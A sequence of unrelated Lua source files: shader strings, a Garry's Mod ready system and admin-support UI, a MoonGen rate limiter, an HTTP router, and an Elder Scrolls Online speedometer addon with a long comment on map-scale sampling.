-- -- Created by David Lannan -- User: grover -- Date: 26/04/13 -- Time: 1:21 AM -- Copyright 2013 Developed for use with the byt3d engine. -- ------------------------------------------------------------------------------------------------------------ shadow_vsm_storedepth_vert = [[ attribute vec3 vPosition; uniform mat4 viewProjMatrix; uniform mat4 modelMatrix; varying vec4 v_position; void main() { v_position = viewProjMatrix * modelMatrix * vec4(vPosition, 1.0); gl_Position = v_position; } ]] ------------------------------------------------------------------------------------------------------------ shadow_vsm_storedepth_frag = [[ #extension GL_OES_standard_derivatives : enable precision highp float; varying vec4 v_position; void main() { float depth = v_position.z / v_position.w ; //Don't forget to move away from unit cube ([-1,1]) to [0,1] coordinate system depth = depth * 0.5 + 0.5; float moment1 = depth; float moment2 = depth * depth; // Adjusting moments (this is sort of bias per pixel) using derivative float dx = dFdx(depth); float dy = dFdy(depth); moment2 += 0.25*(dx*dx+dy*dy) ; gl_FragColor = vec4( moment1, moment2, 0.0, 0.0 ); } ]] ------------------------------------------------------------------------------------------------------------
return { entities = { {{type = "random-of-entity-type", entity_type = "splitter"}, {x = 1, y = -0.5}, {dir = "south", dmg = {dmg = {type="random", min = 0, max = 50}}}}, }, }
GM.PlayersReady = {} GM.ReadyTimer = false --local variables local ready = false local ready_allowed = false local round_preparation = false local wave_active = false --local functions local function decide_text() local text = "NO TEXT" if wave_active then text = string.upper(GetHostName()) elseif not ready_allowed then language.GetPhrase("mingedefense.ui.team.header.inactive") elseif ready then text = language.GetPhrase("mingedefense.ui.team.header.ready") else local bind = input.LookupBinding("md_ready") or input.LookupBinding("gm_showspare2") if bind then text = GAMEMODE:LanguageFormat("mingedefense.ui.team.header.unready", {key = string.upper(bind)}) else text = language.GetPhrase("mingedefense.ui.team.header.unbound") end end --print("\nText decided upon: " .. text) hook.Call("HUDTeamPanelSetHeaderText", GAMEMODE, "round", text) end --net net.Receive("minge_defense_ready", function() local game_mode = GAMEMODE local local_ply = LocalPlayer() local ready_players = game_mode.PlayersReady --debug --game_mode.TeamPanel.LabelTimer:SetActivity(true, net.ReadFloat()) local itt = 0 repeat if itt > 255 then ErrorNoHaltWithStack("Reached maximum itteraions in ready players networked data!") break end itt = itt + 1 local ply = Entity(net.ReadUInt(8)) local ply_ready = net.ReadBool() --might be a bit confusing, but the key is calculated before the value ready_players[ply] = ply_ready or nil hook.Call("HUDTeamPanelUpdatePlayer", game_mode, local_ply, ply_ready) until net.ReadBool() ready = ready_players[local_ply] or false decide_text() end) --[[ if net.ReadBool() then for ply, ply_ready in pairs(game_mode.PlayersReady) do if not ply_ready then GAMEMODE.PlayersReady[ply] = true hook.Call("HUDTeamPanelUpdatePlayer", GAMEMODE, ply, true) end end hook.Call("HUDTeamPanelUpdateHeader", game_mode, true, ready_allowed, ready) else local ready_allowed = net.ReadBool() local ready_timer = net.ReadBool() local sync_players = net.ReadBool() if ready_timer then game_mode.TeamPanel.LabelTimer:SetActivity(true, net.ReadFloat()) else game_mode.TeamPanel.LabelTimer:SetActivity(false) end if ready_allowed and sync_players then --TODO: don't use net.ReadTable local plys = net.ReadTable() local plys_old = table.Copy(game_mode.PlayersReady) game_mode.PlayersReady = plys for ply, ply_ready in pairs(plys) do if plys_old[ply] ~= ply_ready then hook.Call("HUDTeamPanelUpdatePlayer", game_mode, ply, ply_ready) end end ready = plys[LocalPlayer()] or false end hook.Call("HUDTeamPanelUpdateHeader", game_mode, false, ready_allowed, ready) ]] net.Receive("minge_defense_ready_capabilities", function() local old_wave_active = wave_active ready_allowed = net.ReadBool() round_preparation = net.ReadBool() wave_active = net.ReadBool() --print("\nwe got a minge_defense_ready_capabilities sync with:") --print("ready_allowed", ready_allowed) --print("round_preparation", round_preparation) --print("wave_active", wave_active) if old_wave_active ~= wave_active then hook.Call("HUDTeamPanelUpdateStatus", GAMEMODE, wave_active) end decide_text() end) net.Receive("minge_defense_ready_timer", function() local label = GAMEMODE.TeamPanel.LabelTimer --print("\nminge_defense_ready_timer sync!") if IsValid(label) then if net.ReadBool() then local cur_time = CurTime() local server_cur_time = net.ReadFloat() local timer_time = net.ReadFloat() if math.abs(server_cur_time - cur_time) > math.min(1, LocalPlayer():Ping()) then print("Large difference between server's and client's synced time!\nServer's report: " .. server_cur_time .. " versus client's report: " .. cur_time .. "\nThis will be compensated for.") label:SetActivity(true, timer_time + cur_time - server_cur_time) else label:SetActivity(true, timer_time) end else label:SetActivity(false) end else print("Tried to sync time without a label to display the time on!") end end)
local ffi = require "ffi" local pipe = require "pipe" local mg = require "moongen" local serpent = require "Serpent" local memory = require "memory" local log = require "log" local C = ffi.C ffi.cdef[[ struct rate_limiter_batch { int32_t size; void* bufs[0]; }; struct limiter_control { uint64_t count; uint64_t stop; }; void mg_rate_limiter_main_loop(struct rte_ring* ring, uint8_t device, uint16_t queue, uint32_t link_speed, struct limiter_control* ctl); void mg_rate_limiter_cbr_main_loop(struct rte_ring* ring, uint8_t device, uint16_t queue, uint32_t target, struct limiter_control* ctl); void mg_rate_limiter_poisson_main_loop(struct rte_ring* ring, uint8_t device, uint16_t queue, uint32_t target, uint32_t link_speed, struct limiter_control* ctl); ]] local mod = {} local rateLimiter = {} mod.rateLimiter = rateLimiter rateLimiter.__index = rateLimiter function rateLimiter:send(bufs) repeat if pipe:sendToPacketRing(self.ring, bufs) then break end until not mg.running() end function rateLimiter:sendN(bufs, n) repeat if pipe:sendToPacketRing(self.ring, bufs, n) then break end until not mg.running() end -- stop a rate limiter thread -- you must not continue to use a stopped rate limiter function rateLimiter:stop() self.ctl.stop = 1 memory.fence() end function rateLimiter:__serialize() return "require 'software-ratecontrol'; return " .. serpent.addMt(serpent.dumpRaw(self), "require('software-ratecontrol').rateLimiter"), true end --- Create a new rate limiter that allows for precise inter-packet gap generation by wrapping a tx queue. -- By default it uses packet delay information from buf:setDelay(). -- Can only be created from the master task because it spawns a separate thread. -- @param queue the wrapped tx queue -- @param mode optional, either "cbr", "poisson", or "custom". Defaults to custom. -- @param delay optional, inter-departure time in nanoseconds for cbr, 1/lambda (average) for poisson function mod:new(queue, mode, delay) mode = mode or "custom" if mode ~= "poisson" and mode ~= "cbr" and mode ~= "custom" then log:fatal("Unsupported mode " .. mode) end local ring = pipe:newPacketRing() local obj = setmetatable({ ring = ring.ring, mode = mode, delay = delay, queue = queue, ctl = memory.alloc("struct limiter_control*", ffi.sizeof("struct limiter_control")) }, rateLimiter) ffi.fill(obj.ctl, ffi.sizeof("struct limiter_control")) mg.startTask("__MG_RATE_LIMITER_MAIN", obj.ring, queue.id, queue.qid, mode, delay, queue.dev:getLinkStatus().speed, obj.ctl) return obj end function __MG_RATE_LIMITER_MAIN(ring, devId, qid, mode, delay, speed, ctl) if mode == "cbr" then C.mg_rate_limiter_cbr_main_loop(ring, devId, qid, delay, ctl) elseif mode == "poisson" then C.mg_rate_limiter_poisson_main_loop(ring, devId, qid, delay, speed, ctl) else C.mg_rate_limiter_main_loop(ring, devId, qid, speed, ctl) end end return mod
local validate_handler do local _obj_0 = require("gimlet.utils") validate_handler = _obj_0.validate_handler end local Route do local _base_0 = { validate = function(self) local _list_0 = self.handlers for _index_0 = 1, #_list_0 do local h = _list_0[_index_0] validate_handler(h) end end, match_method = function(self, method) return self.method == '*' or method == self.method or (method == 'HEAD' and self.method == 'GET') end, match = function(self, method, path) if not (self:match_method(method)) then return nil end local matches = { string.find(path, self.str_match) } if #matches > 0 and string.sub(path, matches[1], matches[2]) == path then local _tbl_0 = { } for i, match in ipairs(matches) do if i > 2 then _tbl_0[self.params[i - 2]] = match end end return _tbl_0 end return nil end, handle = function(self, mapped) local _list_0 = self.handlers for _index_0 = 1, #_list_0 do local handler = _list_0[_index_0] local options, output = handler(mapped) if type(options) == 'string' then mapped.response:write(options) else if type(options) == 'table' then mapped.response:set_options(options) end if type(options) == 'number' then mapped.response:status(options) end if type(output) == 'string' then mapped.response:write(output) end end end end } _base_0.__index = _base_0 local _class_0 = setmetatable({ __init = function(self, method, pattern, handlers) self.method = method self.pattern = pattern self.handlers = handlers local tmp_params = { } local tmp_params_max = 0 for i, n in string.gmatch(pattern, '():([^/#?]+)') do tmp_params[i] = n if i > tmp_params_max then tmp_params_max = i end end local idx = 1 for i in string.gmatch(pattern, '()%*%*') do tmp_params[i] = idx if i > tmp_params_max then tmp_params_max = i end idx = idx + 1 end local empty = { } for i = 1, tmp_params_max do if tmp_params[i] == nil then tmp_params[i] = empty end end do local _accum_0 = { } local _len_0 = 1 for _index_0 = 1, #tmp_params do local n = tmp_params[_index_0] if n ~= empty then _accum_0[_len_0] = n _len_0 = _len_0 + 1 end end self.params = _accum_0 end self.str_match = string.gsub(pattern, '[-.]', '%%%1') self.str_match = self.str_match .. "/?" self.str_match = string.gsub(self.str_match, ':([^/#?]+)', '([^/#?]+)') self.str_match = string.gsub(self.str_match, '(%*%*)', '([^#?]*)') end, __base = _base_0, __name = "Route" }, { __index = _base_0, __call = function(cls, ...) local _self_0 = setmetatable({}, _base_0) cls.__init(_self_0, ...) return _self_0 end }) _base_0.__class = _class_0 Route = _class_0 end local Router do local _base_0 = { add_route = function(self, method, pattern, handler) if #self.groups > 0 then local group_pattern = "" local h = { } local _list_0 = self.groups for _index_0 = 1, #_list_0 do local g = _list_0[_index_0] group_pattern = group_pattern .. g.pattern table.insert(h, g.handler) end pattern = group_pattern .. pattern table.insert(h, handler) handler = h end if not (type(handler) == 'table') then handler = { handler } end local route = Route(method, pattern, handler) route:validate() table.insert(self.routes, route) return route end, group = function(self, pattern, fn, handler) table.insert(self.groups, { pattern = pattern, handler = handler }) return fn(self) end, get = function(self, pattern, handler) return self:add_route('GET', pattern, handler) end, post = function(self, pattern, handler) return self:add_route('POST', pattern, handler) end, put = function(self, pattern, handler) return self:add_route('PUT', pattern, handler) end, delete = function(self, pattern, handler) return self:add_route('DELETE', pattern, handler) end, patch = function(self, pattern, handler) return self:add_route('PATCH', pattern, handler) end, options = function(self, pattern, handler) return self:add_route('OPTIONS', pattern, handler) end, head = function(self, pattern, handler) return self:add_route('HEAD', pattern, handler) end, any = function(self, pattern, handler) return self:add_route('ANY', pattern, handler) end, not_found = function(self, ...) self.not_founds = { ... } end, handle = function(self, mapped, method, path) local _list_0 = self.routes for _index_0 = 1, #_list_0 do local route = _list_0[_index_0] local params = route:match(method, path) if params then mapped.params = params route:handle(mapped) return end end mapped.response:status(404) local _list_1 = self.not_founds for _index_0 = 1, #_list_1 do local h = _list_1[_index_0] if type(h) == 'function' then local r = h(mapped, method, path) if type(r) == 'string' then mapped.response:write(r) end return end end return mapped.response:write("Not found") end } _base_0.__index = _base_0 local _class_0 = setmetatable({ __init = function(self) self.routes = { } self.groups = { } self.not_founds = { } end, __base = _base_0, __name = "Router" }, { __index = _base_0, __call = function(cls, ...) local _self_0 = setmetatable({}, _base_0) cls.__init(_self_0, ...) return _self_0 end }) _base_0.__class = _class_0 Router = _class_0 end return { Route = Route, Router = Router }
#!/usr/bin/env texlua -- skip all tests includetests = {}
--[[ ======================================= Racing Panel Proudly Sponsored By N'wah Leaf Importers ======================================= @Undyne Keith Mitchell ]]--======================================= --[[ Version 1.1 2019-05-11 ================================================================= How "fast" is the default reference speed? 1. The default speed can be called jogging. In ESO, Walking is 30% of jogging. In ESO, Sprinting is 140% of jogging. Default Speeds (on foot) ======================== walk 1.35 m/s 3.01986 mph 4.86 kph walk jog 4.50 m/s 10.06620 mph 16.20 kph jog sprint 6.30 m/s 14.09268 mph 22.68 kph sprint However, we allow for a calibration adjustment of the default 1.35 m/s walking speed, from 1.25 m/s (-7.4%) to 1.60 m/s (+18.5%). 2. Our walking speed is just under a common crosswalk measurement (people move slightly faster in crosswalks). A 3-mph treadmill exactly matches our walking footfall animation. It's just below the speed used by the Design Manual for Roads and Bridges. It's just above the speed recommended by The Transport for London. 3. The default jogging speed is 60 minutes for 10.0662 miles. That's just under a 6-minute mile-- a decent mile. You may not win a track meet, but that's faster than most people can run. 4. Sprinting speed is a mile in 4 minutes and 15 1/2 seconds. That's 60 minutes for 14.09268 miles, or 4.257529 minutes per mile. Over 1400 humans have been measured to be able to run a mile at this speed. This is a respectable sprint speed for an athletic hero who saves the day. 5. The fastest available riding creature or vehicle is going to be moving at roughly 30mph when sprinting. 6. Prior to the removal of the Ward of Cyrodiil mounted speed buff, top speed was well over 30 mph and racing was quite fun, with the "adrenalin rush" racing-game effect and everything. The nerf was roughly the same speed change, as if they were to remove Horse Speed Training from the game. If you can imagine horses having a max speed of a brand new character-- that's how much top speed they removed from ESO. ================================================================= An overview of the speed calculation. 1. In any ESO map-- Built-in ESO Game functions can be used with simple math, to easily get character speed on that particular map, in map-units per second. Or, since map grids are huge-- thousandths of map units per second (milli-map-units/s). Every map has a different size grid and a different length of map unit. This plugin's job is to convert milli-map-units/s ON EVERY MAP (which are very easy to calculate... ) to mph, kmp, and m/s. That's it! To calibrate every map-- Sampling was done at default (jogging) speed in a straight line on the smoothest level surfaces available. The built-in sampling tool says (when calibrating maps),-- Look! I am moving at the default movement speed on this map. I don't want to stop or bump anything, how fast am I going? Tell me in your native language, 'Units-of-this-map, per second'. I will note that number as the scale of this map. 2. If "x" milli-map-units/sec = 4.5 m/s, then we can say: "x" milli-map-units = 4.5 meters. If (ref-number) milli-map-units = 4.5 meters, then 1 meter = (ref-number/4.5) milli map units So if 1 meter = (ref-number/4.5) milli map units, then 1 milli map unit = (4.5/ref-number) meters X milli map units = (X * 4.5)/ref-number meters So X milli map units / sec <-- what we measure when sampling = (X * 4.5)/ ref-number meters/sec. To get meters/sec, multiply the measured milli map units per second, by 4.5 and divide by ref-units. If our reference-number is 10, and that equals 4.5 m/s, then A measurement of "20" would be equal to 20 * 4.5 / 10, or 9. 3. Sample functions: function Example_GetSpeed_Meters_Per_Second_mps(measured_value, scale) return ((measured_value * 4.5) / scale) end function Example_GetSpeed_Miles_Per_Hour_mph(measured_value, scale) return ((measured_value * 10.0662) / scale) end function Example_GetSpeed_Kilometers_Per_Hour_kph(measured_value, scale) return ((measured_value * 16.2) / scale) end ================================================================= How the plugin works I am a software architect who designs around query performance. Here are the considerations which affected my methodology choice. 1. Every map in Elder Scrolls Online has a different grid size. Imagine that every map you can visit-- whether it's a region, an area, a village or city, a dungeon or trial-- was drawn on engineering graph paper. But sometimes, the map was designed on graph paper with 1/8" squares, and sometimes, the map was designed on paper with 2" squares. 2. You can ask the game for the zone and subzone you're currently seeing with your character, and it will provide a two-part identifier you can use to uniquely identify that map. As long as you do not move to a new zone or to a new subzone-- the map grid will be the same size everywhere you go. 3. Each map has a 0,0 coordinate in one corner. The game can quickly and easily tell you the x,y coordinates of your current position, in your current map, using the map grid which has origins at map corner. EACH map has an accessible GPS applicable ONLY TO THAT MAP. 4. The map grids are huge, to your character. If you run through a swamp for half a minute, you may only have travelled a percent of a map grid unit. Perhaps .425896585475 map units. That is an invented example. IMPORTANT : WE GRAB SPEED EFFORTLESSLY IN MILLI-MAP-UNITS PER SECOND 5. Racing Panel can measure character speed accurately on any ESO map, in thousandths of map units per milli-second or per second. Here's how: Regularly, we read ("poll") the x,y position of our character on the current map (this is very easy, and takes almost no computation). At the same time (as close as possible with code), we take a very precise timestamp, accurate to milliseconds. We wait some pre-defined amount of time, and then we do it again, whether we're moving or not. Each time we collect an x,y position and timestamp, we subtract the last timestamp to get the exact time difference from one measurement to the next. It's not important we make the instant of our samples precise, it's only important that we subtract the values and get the exact time difference between samples. Any exact time interval and coordinate distance will produce an exact speed. We use simple geometry to measure the distance (in map unit coordinates) between the two samples. We assume neither the polling interval or map coordinate distance. We must measure both. They are very easy measurements, and everything has been optimized to simplicity, including the modest geometry calculations. With VERY LITTLE CALCULATION COST, we can very accurately determine speed on a given map, in milli-map-units per second (or milli-map-units per ms). This takes almost no processor power from the game-- which is VERY GOOD!! If we want to be very accurate with our polling (i.e., to determine the winner of a race)-- we could be doing all these calculations every few milliseconds. IMPORTANT : THE GLOBAL GPS SYSTEM WE DON'T USE, AND THE COST 6. There is already excellent ESO geo-data efforts. There are libs for global coordinates which work all across Tamriel. The global GPS is used for such great Addons as Map Pins, I think. It's awesome work, but probably does many things we can't use, and it is a hundred of times more complex than my few lines of code. I assume it's written well but we don't need it. Racing Panel does its simple thing in a much simpler and much less complex way. There will be programmers who say, it's a modern computer, efficiency doesn't matter. But it always matters in code. I am not out to contribute to interface bloat on my favorite game, so I have written simple and VERY FAST code. I hope racing tools based on the global system are written but I don't want Racing Panel to do that. Of course, there is one problem to my elegant vision. For every single map, I need a magic number. Mister Efficiency here can only work his magic, if he has a magic number for every single map. I need a magic number I can multiply by that map's milli-map-units per second (mmu/s) to get miles per hour (mph), kilometers per hour (kph), or meters per second (m/s). If I don't have a magic number for a map, I can display no readout or meter. More importantly, this magic number would effectively be a scaling ratio for each map, which allows us to have a hard-coded (fast) geo-data scaling multiplier for relating geo-data from different maps. If we have map scaling data, for every map we want to use Racing Panel-- we can get character speed whenever we want from featherweight code. ================================================================= How we got our map scale data Short answer: With an automated tool running on every frame update. We turn on the sampler tool with a console command, and start taking samples. The sampler is built in! How the sampler works, internally: IMPORTANT : This is about a hidden tool for getting map scale data. This is not about how the plugin works for normal players. IMPORTANT : TO TAKE A SAMPLE: YOU MUST BE MOVING. YOU MUST NOT CHANGE MAPS. YOU MUST NOT STOP OR TURN. 1. Start moving forward in a straight line on smooth level ground, with no speed modifiers (that includes Champion Point perks!!). Move at the default speed. Not walking or sprinting, jogging. 2. Without stopping, the sampler takes a reference timestamp in milliseconds. 3. If the player stops moving, the sampler takes a new reference timestamp in the next frame update where player is moving. The sampler starts over whenever you stop moving. 4. If map (zone or subzone) changes, the sampler takes a new reference timestamp in the next frame update where player is moving. The sampler starts over whenever you change zones or sub-zones. 5. The sampler is always running when it is enabled. IMPORTANT : ALL SAMPLES START WITH A 3-SECONDS OF STABILIZATION. YOU GET GOING FOR 3 SECONDS BEFORE THE START POINT. 6. Without stopping, the sampler gets coordinates and timestamp at the first game-tick over 3000ms from start. This means that every sample will have at least 3 seconds of character movement before starting, to stabilize speed. This is the start timestamp and location. IMPORTANT : THE DEFAULT SAMPLE SIZE IS 10-SECONDS OF STRAIGHT MOVEMENT. IF YOU HIT A ROCK OR A STEP OR A RAMP OR TURN SLIGHTLY, YOUR SAMPLE SHOULD BE DISCARDED. 7. Without stopping, the sampler gets coordinates and timestamp at the first game-tick over 13000ms from reference. This is very close to 10 seconds from the start. (10.007 seconds for example.) This is the end timestamp (and x/y). This is in the case of the default 10s sample size. You specify the sampler's sample size when you enable it. The sample size is specified as the time between the start and end timestamps, which is after the run-up period, and which is the period over which the character's speed will be measured. 8. The sampler subtracts the start and end timestamps to get an exact time (in seconds, to the millisecond) from sample start to sample end. 9. The sampler calculates the distance in map units from the start coordinate to the end coordinate, to available decimal places. This distance in map units is small (0.008293747823784 etc.). Map units are large. The sampler multiplies by 1000 to get the sample distance in thousandths of map units (milli-map-units, 8.293747823784 etc.). Safely ignore the tiny calculation-cost because the sample is already taken. 10. The sampler divides the distance by the exact time in fractional seconds, to get an exact thousandths of map units, per second. (8.293747823784 etc.) 11. The sampler saves the sample data, as a single number, to an internal table. The table is keyed to the zone and subzone. The sampler creates the table if there is no existing sample data for the current zone and subzone. If motion continues, take a reference timestamp, starting the next sample process. ================================================================= How to actually use the built-in sampler First, you must choose the absolutely smoothest and straightest run of perfectly smooth glassy ground in the entire region to be measured. For instance, the longest side-terrace of Vivec's Fountain, with nothing and no one to bump you, avoiding any turns at each end. Often, the flattest path may not be an obvious straight paved road. It may be a stretch of shallow water with no rocks or plants. It may be a long bridge or a flat beach. You must be able to travel in a straight and level line for the duration of the sample length. The default is 10 seconds. If you must use a shorter sample time than 10 seconds (i.e. Murkmire villages) do not use less than 5 seconds. 1. Start the sampler by typing "rp_sampling_on 10" in the chat/console, and pressing Enter. This is a 10-second sample length. Try to take reliable samples at this length, for new maps. If you absolutely cannot find a place to take a 10-second sample, do not go less than 5 seconds. 2. You should see a message in a partially transparent box in the center of your screen which tells you the zone and what to do. For instance: Sampling: vvardenfell:viveccity_base Jog steadily to take a sample 3. Start moving, and 3 seconds later, the bottom line of the display should change to an indicator and a running stopwatch timer: Sampling: vvardenfell:viveccity_base Sample Started... 4.5 sec <-- this number should increase in realtime 4. If you stop, you'll return to the "Jog steadily to take a sample" message. If you continue moving, the stopwatch should count all the way up to your sample length (the default is 10 seconds). 5. If you reach the sample length, without stopping, you will see this display: Sampling: vvardenfell:viveccity_base Sample Taken: 1.304914574856 The sample value is stored automatically. If you stop, you'll return to the "Jog steadily to take a sample" message. If you continue moving, the sampler will automatically start again shortly 6. Continue until you have sufficiently converging samples. 7. Quit the sampler by typing "rp_sampling_off" in the chat/console, and pressing Enter. ================================================================= How to process your own sample data 1. View your data by typing "rp_show_raw_data" in the chat/console, and pressing Enter. This provides summary data about the zones and subzones you've sampled, sample counts, averages, and individual sample data per zone. 2. Navigate to the SavedVariables folder in your ESO install. Open RacingPanel.lua in your favorite editor. 3. Find the character you were using to run the sampler. Below, my character is Drel Trandel. Find the "data" node, and locate the zone and subzone for which you wish to process sample data. Below, find the data for "rootwhisper_base". ["Drel Trandel"] = { ["EU Megaserver"] = { ["data"] = { ["murkmire"] = { ["murkmire_base"] = { [1] = 2.6421193024, }, ["rootwhisper_base"] = { [1] = 16.4836344105, [2] = 16.4397318962, [3] = 16.4753091948, [4] = 16.4762114431, [5] = 16.4835624969, [6] = 16.4786349874, [7] = 16.4788593148, [8] = 16.4736277141, [9] = 16.4738509228, [10] = 16.4746879926, [11] = 16.3055499496, }, }, }, }, }, 4. Here is the data for "rootwhisper_base", arranged in order of value: 16.3055499496, 16.4397318962, 16.4736277141, 16.4738509228, 16.4746879926, 16.4753091948, 16.4762114431, 16.4786349874, 16.4788593148, 16.4835624969, 16.4836344105, Now, toss all significant variations. It's not relevant to someone else's speed, if you hit a rock or whatever, during your sample. We are trying to gather data which agrees on a specific value, preferably to at least 2 decimals. 16.4736277141, 16.4738509228, 16.4746879926, 16.4753091948, 16.4762114431, 16.4786349874, 16.4788593148, You'll want 30 or 40 values with this level of grouping or better. If you gather them at various places all over the map, that's ever better. IMPORTANT : A NOTE ABOUT SIGNIFICANT DIGITS 5. You can truncate at this point to 5 decimal places. Let's go measure Sadrith Mora as an exaample. Scale value = 14.590974013164 Random measured value = 20.2346859478 Using all 12 decimal places in our Sadrith Mora data, our code is going to produce this speed, for the given measured distance: 6.240576309912488 m/s 6.240576 m/s Using only 6 decimal places from our Sadrith Mora data, our code is going to produce this speed, for the given measured distance: 6.240578026347803 m/s 6.240578 m/s So if we truncate our values, our speed is STILL consistent to the HUNDREDTH OF A MILLIMETER per second. I believe we agree, after seeing sample variations, that it would be crazy to assume our samples are that accurate. But, why round further!! 6. Average your best data cluster, preferably with many more data points than this example: 16.47362 16.47385 16.47468 16.47530 16.47621 16.47863 16.47885 =========== 16.47587 Not bad for 5 minutes. Compare to 16.47651, our production value, which was produced from a larger sample group, on a different day. 7. Now you have map scale data for Root-Whisper Village in Murkmire! 8. While you are in your SavedVariables file, remove unwanted data. You can use the command, rp_delete_raw_data, but the SavedVariables file may not update if you have it open. Just zero the data node, for the characters who were sampling, when you are done sampling. Don't forget to save the file and close it. ["data"] = { }, 9. Add the zone and subzone to the data portion of your own MapScaleData.lua file. ["murkmire"] = { ["rootwhisper_base"] = 16.47651, }, Boom! your speedometer now works on that map! If you do something crazy like sample all the delves-- send me the data, and I'll test it if I can, and ask others to help test it, and we'll try to share it. 10. Fun Facts Smallest scaling multipliers: ["cyrodiil"]["ava_whole"] = 0.66996, ["vvardenfell_base"] = 1.48353, ["deshaan_base"] = 1.66297, Largest scaling multipliers ["eldenrootcrafting_base"] = 36.63666, ["eldenrootservices_base"] = 30.63275, ["brightthroatvillage_base"] = 24.90971, ["hoarfrost_base"] = 22.68366, ["dhalmora_base"] = 22.55969, ================================================================= Samples used to provide map scale data: 1. The samples represent: Thousandths of map units, per second, at default movement speed on level ground in a straight line, measured to milliseconds (thousandths of a second). 2. Samples were colelected with a default length of 10-seconds. Some confined areas were sampled with shorter sample length. 3. Data provided is generally: An average of hundreds and sometimes thousands of seconds of data, for each zone and subzone. 4. Extraneous data was weeded before averaging. Preference was shown to high-precision groupings. This methodology produces consistent deviation. Even a slight bump against a small rock can produce a skewed data point. A few such bumps can affect the speedo output. ================================================================= ]] -------------------------------
local _ local actionMenu = nil --xSits.Core.Menu:Close() function xSits.Core.Popup(ply, reason) if not IsValid(xSits.Core.Menu) then xSits.Core.Menu = XYZUI.Frame("Open Sits", Color(2, 108, 254), true, nil, true) xSits.Core.Menu:SetSize(ScrW()*0.15, ScrH()*0.3) xSits.Core.Menu:SetPos(0, (ScrH()*0.5) - (xSits.Core.Menu:GetTall()*0.5)) _, xSits.Core.Menu.List = XYZUI.Lists(xSits.Core.Menu, 1) else xSits.Core.Menu:Show() end if IsValid(actionMenu) then xSits.Core.Menu:Hide() end local plyButton = vgui.Create("DPanel", xSits.Core.Menu.List) plyButton:SetText("") plyButton:Dock(TOP) plyButton:DockMargin(4, 4, 4, 2) plyButton:SetTall(40) plyButton.Paint = function() end plyButton.headerColor = team.GetColor(ply:Team()) plyButton.info = {ply = ply, reason = reason, opened = os.time()} plyButton.id = ply:SteamID64() plyButton.icon = vgui.Create("AvatarImage", plyButton) plyButton.icon:SetSize(plyButton:GetTall(), plyButton:GetTall()) plyButton.icon:Dock(LEFT) plyButton.icon:SetPlayer(ply, 64) local btn = XYZUI.ButtonInput(plyButton, XYZUI.CharLimit(ply:Name(), 15), function() xSits.Core.InfoUI(plyButton.info.ply, plyButton.info.reason, plyButton.info.opened) end) btn.Think = function() if not IsValid(plyButton.info.ply) then return end btn.disText = XYZUI.CharLimit(plyButton.info.ply:Name(), 15).." ["..string.FormattedTime(os.time() - plyButton.info.opened, "%01i:%02i").."]" end end function xSits.Core.InfoUI(ply, reason, opened) if IsValid(actionMenu) then return end if not IsValid(ply) then return end local frame = XYZUI.Frame("Sit Report", Color(2, 108, 254)) frame:SetSize(ScrW()*0.3, ScrH()*0.3) frame:Center() local shell = XYZUI.Container(frame) local info = XYZUI.PanelText(shell, "Report Info", 40, TEXT_ALIGN_LEFT) XYZUI.PanelText(shell, "Reporter: "..ply:Name(), 25, TEXT_ALIGN_LEFT) XYZUI.PanelText(shell, "Opened: "..string.NiceTime(os.time() - opened).." ago", 25, TEXT_ALIGN_LEFT) XYZUI.WrappedText(shell, "Reason: "..reason, 25) local claimBtn = XYZUI.ButtonInput(frame, "Claim Case", function(self) if not IsValid(ply) then return end self.headerColor = Color(175, 175, 175) self.disText = "You have claimed this case" net.Start("xSitsSitClaim") net.WriteEntity(ply) net.SendToServer() frame:Close() -- xSits.Core.ActionUI(ply, reason) end) claimBtn.headerColor = Color(10, 175, 30) claimBtn:DockMargin(0, 5, 0, 0) claimBtn:Dock(BOTTOM) end -- %s is the steamid64 local actions = { {name = "Bring", command = "xadmin bring %s", id = "bring"}, {name = "Go To", command = "xadmin goto %s", id = "goto"}, {name = "Return", command = "xadmin return %s", id = "return"}, {name = "Revive", command = "xadmin revive %s", id = "revive"}, {name = "Revive & Bring", command = "xadmin revtp %s", id = "revtp"}, {name = "100% Health", command = "xadmin hp %s 100", id = "hp"}, {name = "100% Armor", command = "xadmin armor %s 100", id = "armor"}, {name = "Respawn", command = "xadmin respawn %s", id = "respawn"}, } function xSits.Core.ActionUI(ply, reason) actionMenu = XYZUI.Frame("Action Menu", Color(2, 108, 254), true, nil, true) actionMenu:SetSize(ScrW()*0.15, ScrH()*0.5) actionMenu:SetPos(ScrW()-actionMenu:GetWide(), (ScrH()*0.5) - (actionMenu:GetTall()*0.5)) actionMenu.Think = function() if IsValid(ply) then return end if not IsValid(actionMenu) then return end actionMenu:Close() XYZShit.Msg("xSits", Color(46, 170, 200), "The sit creator has disconnected!") end XYZUI.PanelText(actionMenu, "Name: "..XYZUI.CharLimit(ply:Name(), 15), 25, TEXT_ALIGN_LEFT) if reason then local w = XYZUI.WrappedText(actionMenu, "Reason: "..reason, 25) w:Dock(TOP) end local shell = XYZUI.Container(actionMenu) for k, v in ipairs(actions) do if not xAdmin.CommandCache[v.id] then continue end local b = XYZUI.ButtonInput(shell, v.name, function(self) LocalPlayer():ConCommand(string.format(v.command, ply:SteamID64())) end) b:DockMargin(0, 0, 0, 5) end local closeBtn = XYZUI.ButtonInput(actionMenu, "Close Case", function(self) net.Start("xSitsSitClose") net.WriteEntity(ply) net.SendToServer() if IsValid(actionMenu) then actionMenu:Close() actionMenu = nil end if IsValid(xSits.Core.Menu) then xSits.Core.Menu:Show() end end) closeBtn.headerColor = Color(175, 10, 30) closeBtn:DockMargin(0, 5, 0, 0) closeBtn:Dock(BOTTOM) end local gold = Color(212, 175, 55) function xSits.Core.RateSit(id) local frame = XYZUI.Frame("Rate Your Sit", Color(2, 108, 254), true, nil, true) frame:SetSize(345, 180) frame:SetPos(ScrW()-frame:GetWide(), (ScrH()*0.5) - (frame:GetTall()*0.5)) local shell = XYZUI.Container(frame) shell.Paint = function() end local curRating = 3 for i=1, 5 do local star = vgui.Create("DButton", shell) star:SetText("") star:Dock(LEFT) star.DoClick = function() curRating = i end star.Paint = function(self, w, h) surface.SetMaterial(XYZShit.Image.GetMat("main_star")) surface.SetDrawColor(i <= curRating and gold or color_white ) surface.DrawTexturedRectRotated(w*0.5, h*0.5, w-10, h-10, 0) end end local submit = XYZUI.ButtonInput(frame, "Submit", function(self) net.Start("xSitsSitRate") net.WriteInt(id, 32) net.WriteInt(curRating, 4) net.SendToServer() if curRating >= 4 then surface.PlaySound("vo/ravenholm/cartrap_better.wav") elseif curRating <= 2 then surface.PlaySound("vo/ravenholm/monk_kill06.wav") end timer.Remove("xSits:Rate") frame:Close() end) 